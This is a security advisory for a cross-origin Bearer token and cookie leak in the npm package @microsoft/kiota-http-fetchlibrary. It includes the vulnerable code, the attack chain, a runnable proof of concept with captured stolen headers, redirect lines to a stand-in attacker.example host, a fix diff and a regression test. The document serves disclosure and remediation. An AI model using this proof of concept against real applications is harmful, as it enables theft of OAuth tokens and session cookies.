Vulnerabilities in pkg:npm/@microsoft/kiota-http-fetchlibrary

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-396q-4vc8-28x9",
  "modified" : "2026-06-26T22:23:11Z",
  "published" : "2026-06-26T22:23:11Z",
  "aliases" : [ "CVE-2026-49336" ],
  "summary" : "@microsoft/kiota-http-fetchlibrary: Bearer token and Cookie leak across origin on redirect due to case-mismatched scrub in fetchRequestAdapter",
  "details" : "### Summary\n\n`@microsoft/kiota-http-fetchlibrary`'s `RedirectHandler` is documented as stripping `Authorization` and `Cookie` from cross-origin redirect targets, but the default `scrubSensitiveHeaders` callback in `RedirectHandlerOptions` uses case-sensitive property deletion (`delete headers.Authorization`, `delete headers.Cookie`) on a headers object that `FetchRequestAdapter.getRequestFromRequestInformation` has already lower-cased. The delete therefore targets keys that do not exist, the scrub is a no-op, and any Bearer token or Cookie attached by a kiota-generated SDK is forwarded to an attacker-controlled host across a 30x redirect.\n\nThis is reachable in the default middleware chain (`MiddlewareFactory.getDefaultMiddlewares`) with no custom configuration, and applies to every kiota-generated TypeScript SDK that uses `BaseBearerTokenAuthenticationProvider` or any other authentication provider that sets the `Authorization` request header.\n\n### Affected versions\n\n`@microsoft/kiota-http-fetchlibrary` `>= 1.0.0-preview.97` (the release that introduced the `defaultScrubSensitiveHeaders` callback, commit `74886cc4`, tagged 2026-02-27) up to and including `1.0.0-preview.101` (latest at filing). The bug was verified end-to-end against the version published on npm: `1.0.0-preview.100`.\n\nThe case-mismatch primitive (lowercasing in the request adapter) predates the scrub itself — `FetchRequestAdapter.getRequestFromRequestInformation` has lower-cased header keys via `toLocaleLowerCase()` since commit `d612bac2` (2022-12-09). When the scrub was added in 2026-02 it inherited the mismatch.\n\n### Impact\n\n- **Bearer token leak across origin.** When a kiota-generated SDK calls a server that the SDK trusts (Microsoft Graph, an internal API, any OAuth2 resource server) and that server returns an HTTP redirect to a different host, the `Authorization: Bearer <token>` header issued by the auth provider is sent in cleartext to the redirect target. The redirect target can be controlled by:\n  - An attacker who can corrupt or MITM a single 30x response from the legitimate host (downgrade-on-redirect amplifier).\n  - An attacker who has temporarily compromised a low-trust endpoint of the upstream API and can issue 302 responses (e.g. a public profile-image URL on Graph that returns 302 to attacker-controlled storage).\n  - An attacker who can persuade the kiota-using application to call an attacker-chosen base URL that returns 302 to the attacker (a confused-deputy SSRF-style abuse where the application proxies a user-supplied URL through a kiota-built client).\n- **Session cookie leak across origin.** If the application or generated SDK attaches a `Cookie` header, the same primitive forwards it to the redirect target.\n- **No user interaction required.** The default middleware chain is in effect; the application does not need to opt in to the bug.\n\n### Vulnerable code\n\nThe two pieces that combine into the bug.\n\n**1. Headers are lower-cased on the way out of the request adapter.**\n\n[`packages/http/fetch/src/fetchRequestAdapter.ts:529-532`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/fetchRequestAdapter.ts#L529-L532):\n\n```ts\nconst headers: Record<string, string> | undefined = {};\nrequestInfo.headers?.forEach((_, key) => {\n    headers[key.toString().toLocaleLowerCase()] = this.foldHeaderValue(requestInfo.headers.tryGetValue(key));\n});\n```\n\nThe headers object that flows into the middleware pipeline as `fetchRequestInit.headers` has every key lower-cased. So `Authorization` becomes `authorization`, `Cookie` becomes `cookie`.\n\n**2. The default redirect scrub deletes case-sensitive property names.**\n\n[`packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts:67-82`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts#L67-L82):\n\n```ts\nprivate static readonly defaultScrubSensitiveHeaders: ScrubSensitiveHeaders = (headers: Record<string, string>, originalUrl: string, newUrl: string) => {\n    if (!headers || !originalUrl || !newUrl) {\n        return;\n    }\n    try {\n        const originalUri = new URL(originalUrl);\n        const newUri = new URL(newUrl);\n        const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();\n        if (isDifferentHostOrScheme) {\n            delete headers.Authorization;\n            delete headers.Cookie;\n        }\n    } catch {\n        return;\n    }\n};\n```\n\n`delete headers.Authorization` is sugar for `delete headers[\"Authorization\"]`. JavaScript object property names are case-sensitive. The headers object's actual key is `\"authorization\"` (lower-case). The delete removes nothing.\n\n**3. The redirect handler invokes the scrub on the lower-cased object.**\n\n[`packages/http/fetch/src/middlewares/redirectHandler.ts:133-136`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/middlewares/redirectHandler.ts#L133-L136):\n\n```ts\nif (fetchRequestInit.headers) {\n    currentOptions.scrubSensitiveHeaders(fetchRequestInit.headers as Record<string, string>, url, newUrl);\n}\n```\n\nThe redirect handler then issues a new `fetch` with the unchanged `fetchRequestInit.headers` (still containing `authorization`) to `newUrl` (the attacker-controlled host).\n\n### How the Bearer token reaches the attacker host\n\n1. Application calls a kiota-generated SDK method.\n2. `FetchRequestAdapter.send` calls `authenticationProvider.authenticateRequest(requestInfo)`. `BaseBearerTokenAuthenticationProvider` adds `Authorization: Bearer <token>` to `requestInfo.headers` ([`packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts:34`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts#L34)).\n3. `FetchRequestAdapter.getRequestFromRequestInformation` builds the `RequestInit` object, lower-casing every header key. The output `headers` map contains key `\"authorization\"`.\n4. The default middleware chain runs `RetryHandler` then `RedirectHandler`. `RedirectHandler.execute` sets `redirect = \"manual\"` so the underlying `fetch` does not auto-follow.\n5. The upstream HTTP request goes out to the victim host carrying `authorization: Bearer <token>`.\n6. The victim host responds with `302 Location: https://attacker.example/loot`.\n7. `RedirectHandler.executeWithRedirect` sees the 302, parses the Location, computes `newUrl`, and calls `currentOptions.scrubSensitiveHeaders(headers, url, newUrl)`.\n8. `defaultScrubSensitiveHeaders` correctly observes `originalUri.host !== newUri.host`, enters the `if (isDifferentHostOrScheme)` branch, and runs `delete headers.Authorization`. The headers object's key is `authorization`. The delete is a no-op.\n9. `executeWithRedirect` recurses with `url = newUrl` and the unchanged `headers`. A second `fetch` goes out to the attacker host carrying `authorization: Bearer <token>` and `cookie: <session>`.\n\n### Proof of concept\n\nEnd-to-end PoC against `@microsoft/kiota-http-fetchlibrary@1.0.0-preview.100` and `@microsoft/kiota-abstractions@1.0.0-preview.99` installed from npm with `npm install`. Two local HTTP listeners simulate the victim host (port 7771) and the attacker host (port 7772). The attacker listener captures the full set of request headers it observes.\n\n`package.json`:\n\n```json\n{\n  \"name\": \"kiota-bearer-leak-poc\",\n  \"version\": \"0.0.1\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"@microsoft/kiota-abstractions\": \"^1.0.0-preview.99\",\n    \"@microsoft/kiota-http-fetchlibrary\": \"^1.0.0-preview.99\"\n  }\n}\n```\n\n`poc.mjs`:\n\n```js\nimport http from \"node:http\";\nimport {\n  BaseBearerTokenAuthenticationProvider,\n  RequestInformation,\n  HttpMethod,\n} from \"@microsoft/kiota-abstractions\";\nimport {\n  FetchRequestAdapter,\n  KiotaClientFactory,\n} from \"@microsoft/kiota-http-fetchlibrary\";\n\nconst TOKEN = \"SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD\";\nconst COOKIE = \"session=SECRET_COOKIE_EEEE-FFFF\";\n\nconst attackerCapture = [];\nconst attackerServer = http.createServer((req, res) => {\n  attackerCapture.push({ url: req.url, headers: req.headers });\n  res.writeHead(200, { \"Content-Type\": \"application/json\" });\n  res.end(JSON.stringify({ pwned: true }));\n});\nawait new Promise((r) => attackerServer.listen(7772, \"127.0.0.1\", r));\n\nconst victimServer = http.createServer((req, res) => {\n  res.writeHead(302, { Location: \"http://127.0.0.1:7772/api/data\" });\n  res.end();\n});\nawait new Promise((r) => victimServer.listen(7771, \"127.0.0.1\", r));\n\nclass StaticTokenProvider {\n  getAuthorizationToken() { return Promise.resolve(TOKEN); }\n  getAllowedHostsValidator() { return { getAllowedHosts: () => [] }; }\n}\nconst authProvider = new BaseBearerTokenAuthenticationProvider(new StaticTokenProvider());\nconst adapter = new FetchRequestAdapter(authProvider, undefined, undefined, KiotaClientFactory.create());\nadapter.baseUrl = \"http://127.0.0.1:7771\";\n\nconst requestInfo = new RequestInformation();\nrequestInfo.urlTemplate = \"{+baseurl}/me\";\nrequestInfo.pathParameters[\"baseurl\"] = \"http://127.0.0.1:7771\";\nrequestInfo.httpMethod = HttpMethod.GET;\nrequestInfo.headers.add(\"Cookie\", COOKIE);\n\ntry { await adapter.sendNoResponseContent(requestInfo, undefined); } catch (e) {}\n\nconsole.log(\"attacker received:\", JSON.stringify(attackerCapture[0]?.headers, null, 2));\nattackerServer.close();\nvictimServer.close();\n```\n\n### End-to-end reproduction against `@microsoft/kiota-http-fetchlibrary@1.0.0-preview.100`\n\nSetup:\n\n```bash\nmkdir kiota-leak && cd kiota-leak\ncat > package.json <<'EOF'\n{\n  \"name\": \"kiota-bearer-leak-poc\",\n  \"version\": \"0.0.1\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"@microsoft/kiota-abstractions\": \"^1.0.0-preview.99\",\n    \"@microsoft/kiota-http-fetchlibrary\": \"^1.0.0-preview.99\"\n  }\n}\nEOF\n# Save the poc.mjs above into the same directory\nnpm install\nnode --version  # tested on Node v26.0.0\nnode poc.mjs\n```\n\nCaptured transcript (verbatim from a clean run on Node v26):\n\n```\nattacker received: {\n  \"host\": \"127.0.0.1:7772\",\n  \"connection\": \"keep-alive\",\n  \"cookie\": \"session=SECRET_COOKIE_EEEE-FFFF\",\n  \"authorization\": \"Bearer SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD\",\n  \"user-agent\": \"kiota-typescript/1.0.0-preview.24\",\n  \"accept\": \"*/*\",\n  \"accept-language\": \"*\",\n  \"sec-fetch-mode\": \"cors\",\n  \"accept-encoding\": \"gzip, deflate\"\n}\n```\n\nThe attacker-controlled host on `127.0.0.1:7772` (a different origin from `127.0.0.1:7771`) observes both the OAuth2 Bearer token and the session cookie. The default `RedirectHandler.scrubSensitiveHeaders` did execute its delete branch (verified by inserting a `console.log` inside the scrub) but the deletes targeted property names that did not exist, leaving the lower-cased headers intact.\n\n### Suggested fix\n\nTwo-line change to `defaultScrubSensitiveHeaders` to drop sensitive headers regardless of key case, with `Proxy-Authorization` covered for the Node-with-agent case.\n\n```diff\n--- a/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts\n+++ b/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts\n@@ -73,12 +73,21 @@ export class RedirectHandlerOptions implements RequestOption {\n         try {\n             const originalUri = new URL(originalUrl);\n             const newUri = new URL(newUrl);\n\n-            // Remove Authorization and Cookie headers if the request's scheme or host changes\n+            // Remove Authorization, Cookie, and Proxy-Authorization headers if the request's scheme or host changes.\n+            // Header keys must be matched case-insensitively because the request adapter lower-cases\n+            // header keys before they reach this middleware (see FetchRequestAdapter.getRequestFromRequestInformation).\n             const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();\n\n             if (isDifferentHostOrScheme) {\n-                delete headers.Authorization;\n-                delete headers.Cookie;\n+                for (const key of Object.keys(headers)) {\n+                    const lower = key.toLowerCase();\n+                    if (lower === \"authorization\" || lower === \"cookie\" || lower === \"proxy-authorization\") {\n+                        delete headers[key];\n+                    }\n+                }\n             }\n         } catch {\n             // If URL parsing fails, don't modify headers\n```\n\nTests should be extended in `packages/http/fetch/test/node/RedirectHandler.ts` to cover the realistic case where headers arrive lower-cased — the existing tests use PascalCase `Authorization: ...` fixtures that match the buggy delete by coincidence and therefore pass even with the no-op scrub. Add at minimum:\n\n```ts\nit(\"Should drop authorization and cookie regardless of key case\", async () => {\n    const fetchRequestInit = {\n        method: \"GET\",\n        headers: { authorization: \"Bearer TEST\", cookie: \"session=SECRET\" },\n    };\n    const options = new RedirectHandlerOptions();\n    options.scrubSensitiveHeaders(\n        fetchRequestInit.headers,\n        \"https://graph.microsoft.com/v1.0/me\",\n        \"https://attacker.example/loot\",\n    );\n    assert.isUndefined(fetchRequestInit.headers.authorization);\n    assert.isUndefined(fetchRequestInit.headers.cookie);\n});\n```\n\n### Fix commit\n\nhttps://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@microsoft/kiota-http-fetchlibrary"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0-preview.97"
      }, {
        "fixed" : "1.0.0-preview.102"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.0-preview.101"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/microsoft/kiota-typescript/security/advisories/GHSA-396q-4vc8-28x9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49336"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/microsoft/kiota-typescript"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-178", "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T22:23:11Z",
    "nvd_published_at" : "2026-06-19T19:16:36Z"
  }
}